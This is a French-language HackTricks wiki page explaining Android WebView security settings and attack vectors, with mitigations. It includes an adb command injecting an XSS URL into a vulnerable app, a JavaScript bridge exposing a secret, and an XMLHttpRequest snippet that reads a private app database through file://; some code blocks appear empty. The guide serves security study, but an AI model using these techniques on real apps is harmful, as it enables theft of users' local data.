# Attaques Webview
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Guide sur les configurations et la sécurité de WebView
### Aperçu des vulnérabilités de WebView
Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.
![Exemple de WebView](<../../.gitbook/assets/image (718).png>)
### **Accès aux fichiers dans les WebViews**
Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode `setAllowFileAccess()`, disponible depuis Android API niveau 3 (Cupcake 1.5). Les applications avec l'autorisation **android.permission.READ\_EXTERNAL\_STORAGE** peuvent lire des fichiers depuis le stockage externe en utilisant un schéma d'URL de fichier (`file://chemin/vers/fichier`).
#### **Fonctionnalités obsolètes : Accès universel et accès aux fichiers à partir d'URL**
* **Accès universel à partir d'URL de fichier** : Cette fonctionnalité obsolète permettait des requêtes entre origines à partir d'URL de fichier, posant un risque de sécurité important en raison des attaques potentielles de type XSS. Le paramètre par défaut est désactivé (`false`) pour les applications ciblant Android Jelly Bean et plus récent.
* Pour vérifier ce paramètre, utilisez `getAllowUniversalAccessFromFileURLs()`.
* Pour modifier ce paramètre, utilisez `setAllowUniversalAccessFromFileURLs(boolean)`.
* **Accès aux fichiers à partir d'URL de fichier** : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu à partir d'autres URL de schéma de fichier. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité renforcée.
* Utilisez `getAllowFileAccessFromFileURLs()` pour vérifier et `setAllowFileAccessFromFileURLs(boolean)` pour définir.
#### **Chargement sécurisé des fichiers**
Pour désactiver l'accès au système de fichiers tout en accédant toujours aux ressources et aux actifs, la méthode `setAllowFileAccess()` est utilisée. Avec Android R et supérieur, le paramètre par défaut est `false`.
* Vérifiez avec `getAllowFileAccess()`.
* Activez ou désactivez avec `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
La classe **WebViewAssetLoader** est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accéder aux ressources et aux actifs locaux, se conformant à la politique Same-Origin, facilitant ainsi la gestion de CORS.
### loadUrl
Il s'agit d'une fonction courante utilisée pour charger des URL arbitraires dans un webview :
```java
webview.loadUrl("")
```
Bien sûr, un attaquant potentiel ne devrait jamais pouvoir **contrôler l'URL** qu'une application va charger.
### **JavaScript et Gestion des Intent Scheme**
* **JavaScript** : Désactivé par défaut dans les WebViews, il peut être activé via `setJavaScriptEnabled()`. Il est conseillé de faire preuve de prudence car activer JavaScript sans les protections appropriées peut introduire des vulnérabilités de sécurité.
* **Intent Scheme** : Les WebViews peuvent gérer le schéma `intent`, ce qui peut potentiellement conduire à des exploits s'ils ne sont pas gérés avec soin. Une vulnérabilité exemple impliquait un paramètre WebView exposé "support\_url" qui pouvait être exploité pour exécuter des attaques de script entre sites (XSS).
![WebView Vulnérable](<../../.gitbook/assets/image (719).png>)
Exemple d'exploitation en utilisant adb:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```
{% endcode %}
### Pont JavaScript
Une fonctionnalité est fournie par Android qui permet à **JavaScript** dans un WebView d'invoquer des **fonctions d'application Android natives**. Cela est réalisé en utilisant la méthode `addJavascriptInterface`, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelé un _pont JavaScript WebView_. Il est conseillé de faire preuve de prudence car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet Interface JavaScript enregistré, ce qui pose un risque de sécurité si des informations sensibles sont exposées via ces interfaces.
* **Une prudence extrême est requise** pour les applications ciblant les versions d'Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via JavaScript malveillant, exploitant la réflexion.
#### Implémentation d'un pont JavaScript
* Les **interfaces JavaScript** peuvent interagir avec le code natif, comme le montrent les exemples où une méthode de classe est exposée à JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
* JavaScript Bridge est activé en ajoutant une interface à la WebView :
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
* Potentiel d'exploitation via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :
```html
```
* Pour atténuer les risques, **limitez l'utilisation du pont JavaScript** au code livré avec l'APK et empêchez le chargement de JavaScript à partir de sources distantes. Pour les anciens appareils, définissez le niveau API minimum à 17.
### Exécution de code à distance basée sur la réflexion (RCE)
* Une méthode documentée permet d'atteindre une RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation `@JavascriptInterface` empêche l'accès non autorisé aux méthodes, limitant la surface d'attaque.
### Débogage à distance
* Le **débogage à distance** est possible avec **Chrome Developer Tools**, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu de WebView.
#### Activation du débogage à distance
* Le débogage à distance peut être activé pour tous les WebViews dans une application en :
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
* Pour activer conditionnellement le débogage en fonction de l'état de débogage de l'application :
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Exfiltrer des fichiers arbitraires
* Démontre l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## Références
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.